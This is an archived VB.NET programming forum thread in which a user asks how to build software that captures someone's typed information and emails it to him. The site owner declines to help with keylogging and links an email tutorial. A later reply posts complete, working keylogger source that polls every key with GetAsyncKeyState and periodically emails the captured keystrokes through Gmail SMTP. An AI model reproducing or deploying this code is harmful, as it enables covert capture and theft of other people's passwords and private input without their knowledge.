+- BP Forums (https://bpforums.info)
+-- Forum: Archived Forums (https://bpforums.info/forumdisplay.php?fid=55)
+--- Forum: Archived Forums (https://bpforums.info/forumdisplay.php?fid=56)
+---- Forum: VB.NET (Visual Basic 2010/2008) (https://bpforums.info/forumdisplay.php?fid=8)
+---- Thread: NEED HELP FAST (/showthread.php?tid=439)
NEED HELP FAST - brandonsfan11 - 12-27-2011
hey guys i need help i been watching brandons videos (great work by the way)
and i want to make a software that has a keylogger type of system in it
like when some one puts his info it would be sent to my e-mail
<!-- s
--><img src="{SMILIES_PATH}/icon_e_biggrin.gif" alt="" title="Very Happy" /><!-- s -->
Re: NEED HELP FAST - brandonio21 - 12-27-2011
A keylogger I have no idea how to do. Sorry about that!
But as far as sending the information via Email, I have a tutorial on that exact subject on YouTube!
Find that video here:
http://www.youtube.com/watch?v=jXEbB3cnLZo&feature=plcp&context=C34c3132UDOEgsToPDskIFjM_uTtAoE9sqlnE73sIm
Re: NEED HELP FAST - brco900033 - 07-26-2012
Actually that's not that difficult. Here you have a code and it sends it with an email:
[code2=vbnet]Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("your email address")
MyMailMessage.To.Add("your email address")
MyMailMessage.Subject = ("Keylogger")
MyMailMessage.Body = RichTextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com or your host")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("your email address", "your password")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
RichTextBox1.Text = ("")
End Sub
End Class[/code2]
You've propably found it already but I thought it may be useful for others